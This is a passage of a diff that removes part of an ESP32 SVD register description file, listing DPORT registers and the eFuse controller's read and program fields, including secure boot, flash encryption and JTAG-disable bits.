-              <name>CACHE_IA_INT_PRO_DRAM1</name>
-              <description>PRO CPU invalid access to DRAM1 when cache is disabled </description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_IA_INT_PRO_OPPOSITE</name>
-              <description>PRO CPU invalid access to APP CPU cache when cache disabled </description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SECURE_BOOT_CTRL</name>
-          <addressOffset>0x5A4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SW_BOOTLOADER_SEL</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SPI_DMA_CHAN_SEL</name>
-          <addressOffset>0x5A8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SPI1_DMA_CHAN_SEL</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI2_DMA_CHAN_SEL</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI3_DMA_CHAN_SEL</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_VECBASE_CTRL</name>
-          <addressOffset>0x5AC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_OUT_VECBASE_SEL</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_VECBASE_SET</name>
-          <addressOffset>0x5B0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_OUT_VECBASE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>22</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_VECBASE_CTRL</name>
-          <addressOffset>0x5B4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_OUT_VECBASE_SEL</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_VECBASE_SET</name>
-          <addressOffset>0x5B8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_OUT_VECBASE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>22</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0xFFC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01605190</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>28</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>EFUSE</name>
-      <description>eFuse Controller</description>
-      <groupName>EFUSE</groupName>
-      <baseAddress>0x3FF5A000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x124</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>EFUSE</name>
-        <value>44</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>BLK0_RDATA0</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RD_EFUSE_WR_DIS</name>
-              <description>read for efuse_wr_disable</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_EFUSE_RD_DIS</name>
-              <description>read for efuse_rd_disable</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_FLASH_CRYPT_CNT</name>
-              <description>read for flash_crypt_cnt</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_RDATA1</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RD_WIFI_MAC_CRC_LOW</name>
-              <description>read for low 32bit WIFI_MAC_Address</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_RDATA2</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RD_WIFI_MAC_CRC_HIGH</name>
-              <description>read for high 24bit WIFI_MAC_Address</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_RDATA3</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RD_CHIP_VER_DIS_APP_CPU</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_CHIP_VER_DIS_BT</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_CHIP_VER_PKG_4BIT</name>
-              <description>most significant bit of chip package </description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_CHIP_VER_DIS_CACHE</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_SPI_PAD_CONFIG_HD</name>
-              <description>read for SPI_pad_config_hd</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_CHIP_VER_PKG</name>
-              <description>least significant bits of chip package </description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RD_CHIP_CPU_FREQ_LOW</name>
-              <description>If set alongside EFUSE_RD_CHIP_CPU_FREQ_RATED, the ESP32's max CPU frequency is rated for 160MHz. 240MHz otherwise</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RD_CHIP_CPU_FREQ_RATED</name>
-              <description>If set, the ESP32's maximum CPU frequency has been rated</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RD_BLK3_PART_RESERVE</name>
-              <description>If set, this bit indicates that BLOCK3[143:96] is reserved for internal use</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RD_CHIP_VER_REV1</name>
-              <description>bit is set to 1 for rev1 silicon</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_RDATA4</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RD_CK8M_FREQ</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_ADC_VREF</name>
-              <description>True ADC reference voltage </description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RD_SDIO_DREFH</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_SDIO_DREFM</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_SDIO_DREFL</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_XPD_SDIO</name>
-              <description>read for XPD_SDIO_REG</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_SDIO_TIEH</name>
-              <description>read for SDIO_TIEH</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_SDIO_FORCE</name>
-              <description>read for sdio_force</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_RDATA5</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RD_SPI_PAD_CONFIG_CLK</name>
-              <description>read for SPI_pad_config_clk</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_SPI_PAD_CONFIG_Q</name>
-              <description>read for SPI_pad_config_q</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_SPI_PAD_CONFIG_D</name>
-              <description>read for SPI_pad_config_d</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_SPI_PAD_CONFIG_CS0</name>
-              <description>read for SPI_pad_config_cs0</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_CHIP_VER_REV2</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_VOL_LEVEL_HP_INV</name>
-              <description>This field stores the voltage level for CPU to run at 240 MHz, or for flash/PSRAM to run at 80 MHz.0x0: level 7; 0x1: level 6; 0x2: level 5; 0x3: level 4. (RO)</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_WAFER_VERSION_MINOR</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_FLASH_CRYPT_CONFIG</name>
-              <description>read for flash_crypt_config</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_RDATA6</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RD_CODING_SCHEME</name>
-              <description>read for coding_scheme</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_CONSOLE_DEBUG_DISABLE</name>
-              <description>read for console_debug_disable</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_DISABLE_SDIO_HOST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_ABS_DONE_0</name>
-              <description>read for abstract_done_0</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_ABS_DONE_1</name>
-              <description>read for abstract_done_1</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_DISABLE_JTAG</name>
-              <description>read for JTAG_disable</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_DISABLE_DL_ENCRYPT</name>
-              <description>read for download_dis_encrypt</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_DISABLE_DL_DECRYPT</name>
-              <description>read for download_dis_decrypt</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_DISABLE_DL_CACHE</name>
-              <description>read for download_dis_cache</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_KEY_STATUS</name>
-              <description>read for key_status</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_WDATA0</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>WR_DIS</name>
-              <description>program for efuse_wr_disable</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RD_DIS</name>
-              <description>program for efuse_rd_disable</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_CRYPT_CNT</name>
-              <description>program for flash_crypt_cnt</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_WDATA1</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>WIFI_MAC_CRC_LOW</name>
-              <description>program for low 32bit WIFI_MAC_Address</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_WDATA2</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>WIFI_MAC_CRC_HIGH</name>
-              <description>program for high 24bit WIFI_MAC_Address</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_WDATA3</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CHIP_VER_DIS_APP_CPU</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHIP_VER_DIS_BT</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHIP_VER_PKG_4BIT</name>
-              <description>most significant bit of chip package </description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CHIP_VER_DIS_CACHE</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI_PAD_CONFIG_HD</name>
-              <description>program for SPI_pad_config_hd</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHIP_VER_PKG</name>
-              <description>least significant bits of chip package </description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHIP_CPU_FREQ_LOW</name>
-              <description>If set alongside EFUSE_CHIP_CPU_FREQ_RATED, the ESP32's max CPU frequency is rated for 160MHz. 240MHz otherwise</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHIP_CPU_FREQ_RATED</name>
-              <description>If set, the ESP32's maximum CPU frequency has been rated</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BLK3_PART_RESERVE</name>
-              <description>If set, this bit indicates that BLOCK3[143:96] is reserved for internal use</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHIP_VER_REV1</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_WDATA4</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CK8M_FREQ</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC_VREF</name>
-              <description>True ADC reference voltage </description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_DREFH</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_DREFM</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_DREFL</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD_SDIO</name>
-              <description>program for XPD_SDIO_REG</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_TIEH</name>
-              <description>program for SDIO_TIEH</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_FORCE</name>
-              <description>program for sdio_force</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_WDATA5</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SPI_PAD_CONFIG_CLK</name>
-              <description>program for SPI_pad_config_clk</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI_PAD_CONFIG_Q</name>
-              <description>program for SPI_pad_config_q</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI_PAD_CONFIG_D</name>
-              <description>program for SPI_pad_config_d</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI_PAD_CONFIG_CS0</name>
-              <description>program for SPI_pad_config_cs0</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INST_CONFIG</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>VOL_LEVEL_HP_INV</name>
-              <description>This field stores the voltage level for CPU to run at 240 MHz, or for flash/PSRAM to run at 80 MHz.0x0: level 7; 0x1: level 6; 0x2: level 5; 0x3: level 4. (R/W)</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DIG_VOL_L6</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_CRYPT_CONFIG</name>
-              <description>program for flash_crypt_config</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK0_WDATA6</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CODING_SCHEME</name>
-              <description>program for coding_scheme</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CONSOLE_DEBUG_DISABLE</name>
-              <description>program for console_debug_disable</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DISABLE_SDIO_HOST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ABS_DONE_0</name>
-              <description>program for abstract_done_0</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ABS_DONE_1</name>
-              <description>program for abstract_done_1</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DISABLE_JTAG</name>
-              <description>program for JTAG_disable</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DISABLE_DL_ENCRYPT</name>
-              <description>program for download_dis_encrypt</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DISABLE_DL_DECRYPT</name>
-              <description>program for download_dis_decrypt</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DISABLE_DL_CACHE</name>
-              <description>program for download_dis_cache</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>KEY_STATUS</name>
-              <description>program for key_status</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_RDATA0</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DOUT0</name>
-              <description>read for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_RDATA1</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DOUT1</name>
-              <description>read for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_RDATA2</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DOUT2</name>
-              <description>read for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_RDATA3</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DOUT3</name>
-              <description>read for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_RDATA4</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DOUT4</name>
-              <description>read for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_RDATA5</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DOUT5</name>
-              <description>read for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_RDATA6</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DOUT6</name>
-              <description>read for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_RDATA7</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DOUT7</name>
-              <description>read for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_RDATA0</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DOUT0</name>
-              <description>read for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_RDATA1</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DOUT1</name>
-              <description>read for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_RDATA2</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DOUT2</name>
-              <description>read for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_RDATA3</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DOUT3</name>
-              <description>read for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_RDATA4</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DOUT4</name>
-              <description>read for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_RDATA5</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DOUT5</name>
-              <description>read for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_RDATA6</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DOUT6</name>
-              <description>read for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_RDATA7</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DOUT7</name>
-              <description>read for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_RDATA0</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DOUT0</name>
-              <description>read for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_RDATA1</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DOUT1</name>
-              <description>read for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_RDATA2</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DOUT2</name>
-              <description>read for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_RDATA3</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DOUT3</name>
-              <description>read for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_ADC1_TP_LOW</name>
-              <description>ADC1 Two Point calibration low point. Only valid if EFUSE_RD_BLK3_PART_RESERVE </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RD_ADC1_TP_HIGH</name>
-              <description>ADC1 Two Point calibration high point. Only valid if EFUSE_RD_BLK3_PART_RESERVE </description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RD_ADC2_TP_LOW</name>
